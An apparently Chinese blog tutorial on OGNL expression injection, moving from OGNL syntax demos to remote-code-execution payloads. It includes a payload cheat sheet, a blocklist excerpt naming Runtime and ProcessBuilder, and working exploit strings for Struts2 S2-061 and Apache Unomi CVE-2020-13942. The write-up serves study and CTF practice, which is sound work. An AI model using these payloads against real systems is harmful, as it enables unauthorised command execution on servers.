目录

  1. 1. 前言
  2. 2. OGNL基础
    1. 2.1. OGNL三要素
    2. 2.2. Demo
    3. 2.3. OGNL语法
      1. 2.3.1. 基本语法
      2. 2.3.2. 操作符
    4. 2.4. 与EL表达式的区别
    5. 2.5. 能解析OGNL的API
  3. 3. OGNL注入
    1. 3.1. RCE
    2. 3.2. 调试分析
    3. 3.3. 高版本下的黑名单
    4. 3.4. HTTP请求中常见的注入点
    5. 3.5. 常用payload
  4. 4. 漏洞
    1. 4.1. Confluence CVE-2021-26084
    2. 4.2. Struts2 CVE-2020-17530(S2-061)
    3. 4.3. Apache Unomi CVE-2020-13942
  5. 5. 实战
    1. 5.1. S2-001(ctfshow web279)

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

OGNL表达式注入

2023/9/13 Web Java OGNL
  |     |   总文章阅读量:

前言

很久之前欠下的Struts2-001基础之OGNL注入,在SICTF之后终于想起来填了(

参考:

https://boogipop.com/2023/04/25/Struct2%20OGNL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5/

http://www.mi1k7ea.com/2020/03/16/OGNL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93

https://xz.aliyun.com/t/10482

OGNL基础

导入依赖(Maven配置部分建议自己搜索教程)

<dependency>
	<groupId>ognl</groupId>
	<artifactId>ognl</artifactId>
	<version>3.1.19</version>
</dependency>

OGNL三要素

  • Expression 表达式
  • root 根对象,即操作对象
  • context 上下文,用来保存对象运行的属性及其值,有点类似于运行环境的意思,保存了环境变量


Demo

写一个User类来作为我们的demo,具有姓名和年龄两个属性以及对应的getter/setter方法与构造方法

package com.example;

public class User {
    public String name;
    public String age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public String getAge() {
        return age;
    }

    public void setAge(String age) {
        this.age = age;
    }

    public User() {
    }

    public User(String name, String age) {
        this.name = name;
        this.age = age;
    }
}

再写一个Test类来作为我们的操作对象root,其中有一个user属性作为一个User对象

package com.example;

public class Test {
    public User user;

    public User getUser() {
        return user;
    }

    public void setUser(User user) {
        this.user = user;
    }
}

OGNL类来执行OGNL语句

package com.example;

import ognl.Ognl;
import ognl.OgnlContext;
import ognl.OgnlException;

public class OGNL {
    public static void main(String[] args) throws OgnlException {
        Test test = new Test();
        User ciallo = new User("C1oudfL0w0", "495");
        test.setUser(ciallo);
        //创建context、设置root
        OgnlContext context=new OgnlContext();
        context.setRoot(test);
        //设置表达式expression
        String expression="user.name";
        //解析表达式
        Object ognl= Ognl.parseExpression(expression);
        //调用获取值
        Object value = Ognl.getValue(ognl, context, context.getRoot());
        System.out.println(value);
    }
}

运行OGNL.java即可获取com.example.Test.user.name的值

注意是.user.name的值,上述我们是创建了一个test,并且让他的user属性为一个User对象,表达式为user.name也就是获取test的user属性的name属性

image-20230913213444863


OGNL语法

基本语法

  • 基本对象树的访问:通过使用.将对象的引用串联起来进行

    xxxx
    xxxx.xxxx
    xxxx.xxxx.xxxx.xxxx.xxxx
  • 对容器变量的访问:通过#符号加上表达式进行

    #xxxx
    #xxxx.xxxx
    #xxxx.xxxxx.xxxx.xxxx.xxxx
  • 容器、数组、对象:

    OGNL支持对数组和ArrayList等容器的顺序访问。例如:group.users[0]

    同时,OGNL支持对Map的按键值查找。例如:#session['mySessionPropKey']

    不仅如此,OGNL还支持容器的构造的表达式。例如:{"green", "red", "blue"}构造一个List,#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}构造一个Map

    也可以通过任意类对象的构造函数进行对象新建。例如:new Java.net.URL("xxxxxx/")

  • 对静态方法或变量的访问:见操作符@

  • 方法调用:直接通过类似Java的方法调用方式进行,可以传递参数,例如:user.getName()group.users.size()group.containsUser(#requestUser)

  • 投影和选择:

    • 投影:选出集合中每个元素的相同属性组成新的集合,类似于关系数据库的字段操作,语法为 collection.{XXX},其中XXX是这个集合中每个元素的公共属性
    • 选择:过滤满足selection条件的集合元素,类似于关系数据库的记录操作。语法为:collection.{X YYY},其中X是一个选择操作符,后面则是选择用的逻辑表达式:
      • ?选择满足条件的所有元素
      • ^选择满足条件的第一个元素
      • $选择满足条件的最后一个元素

操作符

  • .操作符:就和上面demo的作用一样,用于调用对象的属性和方法 user.name

    上一个节点的结果会作为下一个节点的上下文,如(#a=new java.lang.String("calc")).(@java.lang.Runtime@getRuntime().exec(#a)),也可以换成逗号(#a=new java.lang.String("calc")),(@java.lang.Runtime@getRuntime().exec(#a))

    我们把表达式修改一下

    image-20230913214846704

    成功弹出计算器

    可以发现它执行的方式有点类似递归,会把.前面的表达式当做结果给后面的表达式执行了

  • @操作符:用于调用静态属性、静态方法、静态变量,如上述的@java.lang.Runtime@getRuntime().exec

  • #操作符:

    • 调用非root对象:

      我们修改一下前面demo的代码,把setRoot改成put,这样做会把ciallo属性放入Context中,但不是以root

      而后面创建Expression的时候因为是非root,所以要加上#image-20230913220310458

      如果没有#的话就会产生报错,因为不是root对象

      image-20230913220813461

    • 创建Map:

      #{"name": "C1oudfL0w0", "level": "12"}

    • 定义变量:

      如一开始的例子#a=new java.lang.String("calc"),就是定义了一个字符串常量

    • $操作符:一般用于配置文件,${name}

    • %操作符:计算其中的OGNL表达式,%{hacker.name}

    • List:直接使用{“red”, “blue”, “green”}创建

    • 对象创建:new java.lang.String[]{“foobar”}


与EL表达式的区别

因为OGNL表达式是Struts2的默认表达式语言,所以只针对Struts2标签有效;然而EL在HTML中也可以使用

页面取值:

名称 servlet OGNL EL
parameters request.getParameter(“username”) #username ${username}
request request.getAttribute(“userName”) #request.userName ${requestScope.username}
session session.getAttribute(“userName”) #session.userName ${sessionScope.username}
application application.getAttribute(“userName”) #application.userName ${applicationScope.username}
attr 用于按request > session > application顺序访问其属性(attribute) #attr.userName相当于按顺序在以上三个范围(scope)内读取userName属性,直到找到为止

能解析OGNL的API

类名 方法名
com.opensymphony.xwork2.util.TextParseUtil translateVariables,translateVariablesCollection
com.opensymphony.xwork2.util.TextParser evaluate
com.opensymphony.xwork2.util.OgnlTextParser evaluate
com.opensymphony.xwork2.ognl.OgnlUtil setProperties,setProperty,setValue,getValue,callMethod,compile
org.apache.struts2.util.VelocityStrutsUtil evaluate
org.apache.struts2.util.StrutsUtil isTrue,findString,findValue,getText,translateVariables,makeSelectList
org.apache.struts2.views.jsp.ui.OgnlTool findValue
com.opensymphony.xwork2.util.ValueStack findString,findValue,setValue,setParameter
com.opensymphony.xwork2.ognl.OgnlValueStack findString,findValue,setValue,setParameter,trySetValue
ognl.Ognl parseExpression,getValue,setValue

调用过程中涉及的类:

涉及类名 方法名
com.opensymphony.xwork2.ognl.OgnlReflectionProvider getGetMethod,getSetMethod,getField,setProperties,setProperty,getValue,setValue
com.opensymphony.xwork2.util.reflection.ReflectionProvider getGetMethod,getSetMethod,getField,setProperties,setProperty,getValue,setValue

OGNL注入

由前面知道,OGNL可以访问静态方法、属性以及对象方法等,其中包含可以执行恶意操作如命令执行的类java.lang.Runtime

RCE

弹计算器

public class OGNL {
    public static void main(String[] args) throws OgnlException {
        String expression = "@java.lang.Runtime@getRuntime().exec('calc')";
        OgnlContext context = new OgnlContext();
        Ognl.getValue(expression, context, context.getRoot());
    }
}

换成一行的形式就是:Ognl.getValue("@java.lang.Runtime@getRuntime().exec(\"calc\")", context, context.getRoot());

实际的题目环境要执行的往往是:@java.lang.Runtime@getRuntime().exec("ls")

注意:getValue()setValue()都能成功解析恶意的OGNL表达式


调试分析

粗略看了一下,是和语法树解析有关,懒得调了(


高版本下的黑名单

在OGNL>=3.1.25 3.1.12版本设置了黑名单:

public static Object invokeMethod(Object target, Method method, Object[] argsArray)
    throws InvocationTargetException, IllegalAccessException
{

    if (_useStricterInvocation) {
        final Class methodDeclaringClass = method.getDeclaringClass();  // Note: synchronized(method) call below will already NPE, so no null check.
        if ( (AO_SETACCESSIBLE_REF != null && AO_SETACCESSIBLE_REF.equals(method)) ||
            (AO_SETACCESSIBLE_ARR_REF != null && AO_SETACCESSIBLE_ARR_REF.equals(method)) ||
            (SYS_EXIT_REF != null && SYS_EXIT_REF.equals(method)) ||
            (SYS_CONSOLE_REF != null && SYS_CONSOLE_REF.equals(method)) ||
            AccessibleObjectHandler.class.isAssignableFrom(methodDeclaringClass) ||
            ClassResolver.class.isAssignableFrom(methodDeclaringClass) ||
            MethodAccessor.class.isAssignableFrom(methodDeclaringClass) ||
            MemberAccess.class.isAssignableFrom(methodDeclaringClass) ||
            OgnlContext.class.isAssignableFrom(methodDeclaringClass) ||
            Runtime.class.isAssignableFrom(methodDeclaringClass) ||
            ClassLoader.class.isAssignableFrom(methodDeclaringClass) ||
            ProcessBuilder.class.isAssignableFrom(methodDeclaringClass) ||
            AccessibleObjectHandlerJDK9Plus.unsafeOrDescendant(methodDeclaringClass) ) {
            throw new IllegalAccessException("........");
        }

这个版本下运行上面的rce代码会产生报错


HTTP请求中常见的注入点

来自Struts2著名RCE漏洞引发的十年之思

image-20240716122955036


常用payload

//获取context里面的变量
 #user
 #user.name

//使用runtime执行系统命令
@java.lang.Runtime@getRuntime().exec("calc")


//使用processbuilder执行系统命令
(new java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).start()

//获取当前路径
@java.lang.System@getProperty("user.dir")

漏洞

Confluence CVE-2021-26084

poc:https://github.com/0xf4n9x/CVE-2021-26084


Struts2 CVE-2020-17530(S2-061)

payload:

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#access=#bean.get("memberAccess")).(#bean.setBean(#access)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#cmd={'whoami'}).(#execute.exec(#cmd))}

Apache Unomi CVE-2020-13942

(#runtimeclass = #this.getClass().forName(\"java.lang.Runtime\")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals(\"getRuntime\")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals(\"exec\")}.{? #this.getParameters()[0].getType().getName().equals(\"java.lang.String\")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,\"touch /tmp/ognl\"))

实战

S2-001(ctfshow web279)